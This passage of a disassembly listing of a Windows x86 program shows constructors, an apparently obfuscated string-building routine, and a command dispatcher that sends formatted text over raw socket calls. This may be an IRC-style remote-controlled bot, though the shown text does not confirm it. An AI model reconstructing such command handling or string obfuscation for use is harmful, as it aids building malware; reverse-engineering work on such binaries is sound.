loc_411330: ; CODE XREF: sub_40FF60+3Cj
; sub_40FF60+4Fj
lea ecx, [esp+20h+var_8]
mov [esp+20h+arg_246C], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+20h+arg_2464]
pop edi
pop esi
pop ebp
xor eax, eax
mov large fs:0, ecx
pop ebx
add esp, 2484h
retn
sub_40FF60 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 90h
db 500h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411860 proc near ; CODE XREF: sub_4010BEj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411860
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E6A
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_402054
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E038
mov dword ptr [esi+11h], 0
mov byte ptr [esi+0ABh], 0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411860 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4118E0: ; CODE XREF: ___:loc_40115Ej
; ___:004016EAj
push esi
mov esi, ecx
call sub_40101E
test byte ptr [esp+8], 1
jz short loc_4118F8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_4118F8: ; CODE XREF: ___:004118EDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411910 proc near ; CODE XREF: sub_40101Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411910
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43E038
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_40196A
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411910 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411990 proc near ; CODE XREF: sub_402054j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411990
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401424
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
lea ecx, [esi+54h]
mov byte ptr [esp+14h+var_4], 3
call sub_401424
lea ecx, [esi+69h]
mov byte ptr [esp+14h+var_4], 4
call sub_401424
lea ecx, [esi+7Eh]
mov byte ptr [esp+14h+var_4], 5
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411990 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411A50 proc near ; CODE XREF: sub_40196Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411A50
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+7Eh]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+69h]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+54h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411A50 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411B10 proc near ; CODE XREF: sub_4019D3j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_40196A
test [esp+4+arg_0], 1
jz short loc_411B28
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_411B28: ; CODE XREF: sub_411B10+Dj
mov eax, esi
pop esi
retn 4
sub_411B10 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_411B40 proc near ; CODE XREF: sub_401A0Aj
var_3C = byte ptr -3Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_411B40
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
jz short loc_411B66
lea edi, [esi+11h]
jmp short loc_411B68
; ---------------------------------------------------------------------------
loc_411B66: ; CODE XREF: sub_411B40+1Fj
xor edi, edi
loc_411B68: ; CODE XREF: sub_411B40+24j
push 0
push 17h
push 1
push 12h
push 4Fh
lea eax, [esp+5Ch+var_3C]
push 9
push eax
call sub_4019B5
add esp, 1Ch
push edi
mov ecx, eax
mov [esp+4Ch+var_4], 0
call sub_4017E4
lea ecx, [esi+250h]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
sub_411B40 endp
; ---------------------------------------------------------------------------
or edi, 0FFFFFFFFh
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411BBC
lea ebx, [esi+11h]
jmp short loc_411BBE
; ---------------------------------------------------------------------------
loc_411BBC: ; CODE XREF: ___:00411BB5j
xor ebx, ebx
loc_411BBE: ; CODE XREF: ___:00411BBAj
push 0
push 14h
push 3
push 5
push 0Eh
push 0Eh
push 0Fh
push 3
push 5
push 12h
push 4Fh
lea edx, [esp+38h]
push 9
push edx
call sub_4019B5
add esp, 34h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 1
call sub_4017E4
push eax
lea eax, [esi+27Eh]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411C1B
lea ebx, [esi+11h]
jmp short loc_411C1D
; ---------------------------------------------------------------------------
loc_411C1B: ; CODE XREF: ___:00411C14j
xor ebx, ebx
loc_411C1D: ; CODE XREF: ___:00411C19j
push 0
push 14h
push 12h
push 1
push 10h
push 4Fh
lea ecx, [esp+24h]
push 9
push ecx
call sub_4019B5
add esp, 20h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 2
call sub_4017E4
lea edx, [esi+1C6h]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411C70
lea ebx, [esi+11h]
jmp short loc_411C72
; ---------------------------------------------------------------------------
loc_411C70: ; CODE XREF: ___:00411C69j
xor ebx, ebx
loc_411C72: ; CODE XREF: ___:00411C6Ej
push 0
push 5
push 4
push 0Fh
push 0Dh
push 4Fh
lea eax, [esp+24h]
push 9
push eax
call sub_4019B5
add esp, 20h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 3
call sub_4017E4
lea ecx, [esi+16Ah]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411CC5
lea ebx, [esi+11h]
jmp short loc_411CC7
; ---------------------------------------------------------------------------
loc_411CC5: ; CODE XREF: ___:00411CBEj
xor ebx, ebx
loc_411CC7: ; CODE XREF: ___:00411CC3j
push 0
push 7
push 13h
push 0Dh
push 4Fh
lea edx, [esp+20h]
push 9
push edx
call sub_4019B5
add esp, 1Ch
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 4
call sub_4017E4
push eax
lea eax, [esi+1F4h]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411D18
lea ebx, [esi+11h]
jmp short loc_411D1A
; ---------------------------------------------------------------------------
loc_411D18: ; CODE XREF: ___:00411D11j
xor ebx, ebx
loc_411D1A: ; CODE XREF: ___:00411D16j
push 0
push 5
push 3
push 9
push 14h
push 0Fh
push 0Eh
push 4Fh
lea ecx, [esp+2Ch]
push 9
push ecx
call sub_4019B5
add esp, 28h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 5
call sub_4017E4
lea edx, [esi+0B2h]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411D71
lea ebx, [esi+11h]
jmp short loc_411D73
; ---------------------------------------------------------------------------
loc_411D71: ; CODE XREF: ___:00411D6Aj
xor ebx, ebx
loc_411D73: ; CODE XREF: ___:00411D6Fj
push 0
push 14h
push 3
push 5
push 0Eh
push 0Eh
push 0Fh
push 3
push 13h
push 9
push 4
push 4Fh
lea eax, [esp+3Ch]
push 9
push eax
call sub_4019B5
add esp, 38h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 6
call sub_4017E4
lea ecx, [esi+56h]
push eax
push ecx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411DCF
lea ebx, [esi+11h]
jmp short loc_411DD1
; ---------------------------------------------------------------------------
loc_411DCF: ; CODE XREF: ___:00411DC8j
xor ebx, ebx
loc_411DD1: ; CODE XREF: ___:00411DCDj
push 0
push 14h
push 13h
push 0Fh
push 8
push 14h
push 5
push 7
push 4Fh
lea edx, [esp+30h]
push 9
push edx
call sub_4019B5
add esp, 2Ch
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 7
call sub_4017E4
push eax
lea eax, [esi+10Eh]
push eax
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411E2A
lea ebx, [esi+11h]
jmp short loc_411E2C
; ---------------------------------------------------------------------------
loc_411E2A: ; CODE XREF: ___:00411E23j
xor ebx, ebx
loc_411E2C: ; CODE XREF: ___:00411E28j
push 0
push 0Fh
push 6
push 0Eh
push 9
push 14h
push 5
push 0Eh
push 4Fh
lea ecx, [esp+30h]
push 9
push ecx
call sub_4019B5
add esp, 2Ch
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 8
call sub_4017E4
lea edx, [esi+198h]
push eax
push edx
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch]
mov [esp+44h], edi
call sub_401226
test esi, esi
jz short loc_411E85
lea ebx, [esi+11h]
jmp short loc_411E87
; ---------------------------------------------------------------------------
loc_411E85: ; CODE XREF: ___:00411E7Ej
xor ebx, ebx
loc_411E87: ; CODE XREF: ___:00411E83j
push 0
push 0Eh
push 9
push 0Fh
push 0Ah
push 4Fh
lea eax, [esp+3Ch]
push 9
push eax
call sub_4019B5
add esp, 20h
push ebx
mov ecx, eax
mov dword ptr [esp+48h], 9
call sub_4017E4
add esi, 13Ch
push eax
push esi
mov ecx, offset dword_447158
call sub_401591
; ---------------------------------------------------------------------------
lea ecx, [esp+24h]
mov [esp+44h], edi
call sub_401226
mov ecx, [esp+3Ch]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 3Ch
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0F0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411FE0 proc near ; CODE XREF: sub_401AB9j
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_411FE0
push eax
mov large fs:0, esp
sub esp, 78h
push ebx
push ebp
push esi
mov esi, [esp+90h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+45h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_412509
lea ecx, [edi+26Dh]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_412509
lea ecx, [edi+0A1h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_4120E2
push offset asc_443600 ; " "
lea eax, [esp+98h+var_6C]
push 2
push eax
mov ecx, esi
call sub_4016AE
mov ebp, eax
push offset asc_443600 ; " "
lea ecx, [esp+98h+var_84]
push 1
xor ebx, ebx
push ecx
mov ecx, esi
mov [esp+0A0h+var_4], ebx
call sub_4016AE
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 1
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
mov edx, dword_447100
push eax
push edx
add edi, 0FFFFFFEFh
push offset dword_443CEC
push edi
call sub_401E0B
add esp, 14h
lea ecx, [esp+94h+var_84]
mov byte ptr [esp+94h+var_4], bl
call sub_401226
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_4120E2: ; CODE XREF: sub_411FE0+70j
lea ecx, [edi+187h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_412159
add edi, 0FFFFFFEFh
lea eax, [esp+94h+var_6C]
push eax
mov ecx, edi
call sub_401D39
mov ecx, eax
mov [esp+94h+var_4], 2
call sub_4017E4
push eax
push offset aS ; "%s"
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push edi
call sub_401848
add esp, 18h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_412159: ; CODE XREF: sub_411FE0+117j
lea ecx, [edi+0FDh]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_412214
push offset asc_443600 ; " "
lea eax, [esp+98h+var_6C]
push 1
push eax
mov ecx, esi
call sub_4016AE
push eax
lea ecx, [edi+17h]
mov [esp+98h+var_4], 3
call sub_4018A2
or ebp, 0FFFFFFFFh
lea ecx, [esp+94h+var_6C]
mov ebx, eax
mov [esp+94h+var_4], ebp
call sub_401226
test ebx, ebx
jz loc_412532
lea ecx, [esp+94h+var_6C]
add edi, 0FFFFFFEFh
push ecx
mov ecx, edi
call sub_401D39
mov ecx, eax
mov [esp+94h+var_4], 4
call sub_4017E4
push eax
push offset aS ; "%s"
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push edi
call sub_401848
add esp, 18h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], ebp
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_412214: ; CODE XREF: sub_411FE0+18Ej
lea ecx, [edi+12Bh]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_4122BD
push offset asc_443600 ; " "
lea ecx, [esp+98h+var_84]
push 2
push ecx
mov ecx, esi
call sub_4016AE
mov ebp, eax
push offset asc_443600 ; " "
lea edx, [esp+98h+var_6C]
mov ebx, 5
push 1
push edx
mov ecx, esi
mov [esp+0A0h+var_4], ebx
call sub_4016AE
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 6
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
mov eax, dword_447104
push eax
add edi, 0FFFFFFEFh
push offset aSSS_0 ; "%s %s %s\r\n"
push edi
call sub_401E0B
add esp, 14h
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], bl
call sub_401226
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_4122BD: ; CODE XREF: sub_411FE0+249j
lea ecx, [edi+1B5h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41232B
push offset asc_443600 ; " "
lea ecx, [esp+98h+var_6C]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+94h+var_4], 7
call sub_4017E4
mov edx, dword_447130
push eax
push edx
add edi, 0FFFFFFEFh
push offset aSS_0 ; "%s %s\r\n"
push edi
call sub_401E0B
add esp, 10h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_41232B: ; CODE XREF: sub_411FE0+2F2j
lea ecx, [edi+23Fh]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41238D
lea eax, [esp+94h+var_6C]
push 9
push eax
mov ecx, esi
call sub_401E2E
mov ecx, eax
mov [esp+94h+var_4], 8
call sub_4017E4
push eax
add edi, 0FFFFFFEFh
push offset dword_443CE4
push edi
call sub_401E0B
add esp, 0Ch
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_41238D: ; CODE XREF: sub_411FE0+360j
lea ecx, [edi+1E3h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41242D
push offset asc_443600 ; " "
lea ecx, [esp+98h+var_84]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ebp, eax
push 1
push offset asc_443600 ; " "
lea edx, [esp+9Ch+var_6C]
push 2
push edx
mov ecx, esi
mov [esp+0A4h+var_4], 9
call sub_4011EA
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 0Ah
call sub_4014D3
push eax
mov ecx, esi
call sub_4014D3
xor ebx, ebx
push eax
push ebx
push ebx
lea ecx, [edi-11h]
call sub_401118
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 9
call sub_401226
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_41242D: ; CODE XREF: sub_411FE0+3C2j
lea ecx, [edi+159h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_412532
push offset asc_443600 ; " "
lea eax, [esp+98h+var_24]
push 3
push eax
mov ecx, esi
call sub_4016AE
mov ebp, eax
push offset asc_443600 ; " "
lea ecx, [esp+98h+var_3C]
push 2
push ecx
mov ecx, esi
mov [esp+0A0h+var_4], 0Bh
call sub_4016AE
mov ebx, eax
push offset asc_443600 ; " "
lea edx, [esp+98h+var_54]
push 1
push edx
mov ecx, esi
mov byte ptr [esp+0A0h+var_4], 0Ch
call sub_4016AE
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 0Dh
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
mov eax, dword_447134
push eax
add edi, 0FFFFFFEFh
push offset dword_443CD4
push edi
call sub_401E0B
add esp, 18h
lea ecx, [esp+94h+var_54]
mov byte ptr [esp+94h+var_4], 0Ch
call sub_401226
lea ecx, [esp+94h+var_3C]
mov byte ptr [esp+94h+var_4], 0Bh
call sub_401226
lea ecx, [esp+94h+var_24]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp short loc_412532
; ---------------------------------------------------------------------------
loc_412509: ; CODE XREF: sub_411FE0+3Aj
; sub_411FE0+55j
xor ebx, ebx
mov [edi+0Fh], ebx
mov [edi+0Bh], ebx
mov [edi+5], bl
mov [edi+4], bl
mov ecx, [edi+7]
push ecx
nop
call near ptr 71AB9639h
mov ecx, offset word_448C9E
mov dword ptr [edi+7], 0FFFFFFFFh
call sub_401537
loc_412532: ; CODE XREF: sub_411FE0+FDj
; sub_411FE0+174j ...
mov ecx, [esp+94h+var_C]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 84h
retn 4
sub_411FE0 endp
; ---------------------------------------------------------------------------
db 90h
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4126B0 proc near ; CODE XREF: sub_401D39j
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4126B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 40h
push esi
mov esi, ecx
lea ecx, [esp+50h+var_24]
mov [esp+50h+var_48], 0
call sub_401424
xor eax, eax
lea ecx, [esp+50h+var_4C]
mov [esp+50h+var_44], eax
lea edx, [esp+50h+var_44]
mov [esp+50h+var_40], eax
push ecx
mov [esp+54h+var_3C], eax
push edx
mov [esp+58h+var_38], eax
mov eax, [esi+18h]
push eax
mov [esp+5Ch+var_4], 1
mov [esp+5Ch+var_4C], 10h
call near ptr 71AB951Eh
nop
mov ecx, [esp+50h+var_40+3]
mov edx, [esp+50h+var_40+2]
mov eax, [esp+50h+var_40+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+54h+var_40]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
lea edx, [esp+60h+var_34]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
nop
call sub_5EDAB2
add esp, 18h
lea ecx, [esp+50h+var_24]
push offset byte_446F70
call sub_4015D7
push offset dword_443D18
lea ecx, [esp+54h+var_24]
call sub_401A9B
lea eax, [esp+50h+var_34]
lea ecx, [esp+50h+var_24]
push eax
call sub_401A9B
push offset dword_443D14
lea ecx, [esp+54h+var_24]
call sub_401A9B
add esi, 28h
lea ecx, [esp+50h+var_24]
push esi
call sub_4016BD
push offset dword_443D14
lea ecx, [esp+54h+var_24]
call sub_401A9B
lea ecx, [esp+50h+var_34]
push ecx
call sub_401479
add esp, 4
test al, al
jz short loc_4127BB
push offset dword_443D08
jmp short loc_4127C0
; ---------------------------------------------------------------------------
loc_4127BB: ; CODE XREF: sub_4126B0+102j
push offset dword_443CFC
loc_4127C0: ; CODE XREF: sub_4126B0+109j
lea ecx, [esp+54h+var_24]
call sub_401A9B
mov esi, [esp+50h+arg_0]
lea edx, [esp+50h+var_24]
push edx
mov ecx, esi
call sub_4014C9
mov [esp+50h+var_48], 1
lea ecx, [esp+50h+var_24]
mov byte ptr [esp+50h+var_4], 0
call sub_401226
mov ecx, [esp+50h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 4Ch
retn 4
sub_4126B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412870 proc near ; CODE XREF: sub_401582j
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
mov edi, ebp
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [esi+18h]
push 0
not ecx
dec ecx
push ecx
push ebp
push eax
nop
call near ptr 71AB428Ah
mov edx, eax
mov edi, ebp
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
cmp edx, ecx
jnb short loc_4128CE
mov [esi+16h], al
mov [esi+15h], al
mov eax, [esi+18h]
push eax
nop
call near ptr 71AB9639h
mov ecx, offset word_448C9E
mov dword ptr [esi+18h], 0FFFFFFFFh
call sub_401537
pop edi
pop esi
xor al, al
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_4128CE: ; CODE XREF: sub_412870+33j
pop edi
pop esi
mov al, 1
pop ebp
retn 4
sub_412870 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412900 proc near ; CODE XREF: sub_401E0Bj
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = byte ptr 200Ch
mov eax, 2000h
call sub_436840
mov ecx, [esp+arg_2004]
lea eax, [esp+arg_2008]
push eax
push ecx
lea edx, [esp+8]
push 2000h
push edx
nop
call near ptr 77C3FF8Ah
mov ecx, [esp+10h+arg_2000]
add esp, 10h
lea eax, [esp+0]
push eax
call sub_401582
add esp, 2000h
retn
sub_412900 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412970 proc near ; CODE XREF: sub_401118j
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_412970
push eax
mov al, [esp+0Ch+arg_0]
mov large fs:0, esp
sub esp, 30h
test al, al
push esi
mov esi, ecx
jz short loc_4129A7
xor al, al
pop esi
mov ecx, [esp+3Ch+var_C]
mov large fs:0, ecx
add esp, 3Ch
retn 10h
; ---------------------------------------------------------------------------
loc_4129A7: ; CODE XREF: sub_412970+21j
lea ecx, [esp+40h+var_3C]
call sub_401424
mov al, [esp+40h+arg_4]
mov [esp+40h+var_4], 0
test al, al
jz short loc_4129C8
mov eax, dword_447100
push eax
jmp short loc_4129CF
; ---------------------------------------------------------------------------
loc_4129C8: ; CODE XREF: sub_412970+4Ej
mov ecx, dword_447108
push ecx
loc_4129CF: ; CODE XREF: sub_412970+56j
lea ecx, [esp+44h+var_3C]
call sub_4015D7
push ebx
lea ecx, [esp+44h+var_24]
call sub_401424
mov edx, [esp+44h+arg_8]
mov eax, [esp+44h+arg_C]
push edx
push eax
lea ecx, [esp+4Ch+var_3C]
mov byte ptr [esp+4Ch+var_4], 1
call sub_4017E4
push eax
lea ecx, [esp+50h+var_24]
push offset dword_443CEC
push ecx
call sub_40102D
add esp, 14h
lea ecx, [esp+44h+var_24]
call sub_4014D3
push eax
mov ecx, esi
call sub_401582
lea ecx, [esp+44h+var_24]
mov bl, al
mov byte ptr [esp+44h+var_4], 0
call sub_401226
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+44h+var_C]
mov al, bl
pop ebx
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn 10h
sub_412970 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412AA0 proc near ; CODE XREF: sub_401848j
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = dword ptr 200Ch
arg_200C = dword ptr 2010h
arg_2010 = dword ptr 2014h
arg_2014 = byte ptr 2018h
mov eax, 2000h
call sub_436840
mov ecx, [esp+arg_2010]
lea eax, [esp+arg_2014]
push eax
push ecx
lea edx, [esp+8]
push 2000h
push edx
nop
call near ptr 77C3FF8Ah
mov eax, [esp+10h+arg_200C]
mov edx, [esp+10h+arg_2008]
add esp, 10h
lea ecx, [esp+0]
push eax
mov eax, [esp+4+arg_2004]
push ecx
mov ecx, [esp+8+arg_2000]
push edx
push eax
call sub_401118
add esp, 2000h
retn
sub_412AA0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412B20 proc near ; CODE XREF: sub_401D0Cj
push esi
mov esi, ecx
call sub_401FB9
mov eax, [esi+1Ch]
inc eax
mov [esi+1Ch], eax
pop esi
retn
sub_412B20 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412B50 proc near ; CODE XREF: sub_401FB9j
push esi
mov esi, ecx
xor al, al
mov [esi+16h], al
mov [esi+15h], al
mov eax, [esi+18h]
push eax
nop
call near ptr 71AB9639h
mov ecx, offset word_448C9E
mov dword ptr [esi+18h], 0FFFFFFFFh
call sub_401537
pop esi
retn
sub_412B50 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412B90 proc near ; CODE XREF: sub_401721j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov dl, [ecx]
xor ecx, ecx
mov [eax], dl
mov [eax+4], ecx
mov [eax+8], ecx
mov [eax+0Ch], ecx
retn 4
sub_412B90 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_412BC0 proc near ; CODE XREF: sub_401B54j
push esi
mov esi, ecx
mov eax, [esi+8]
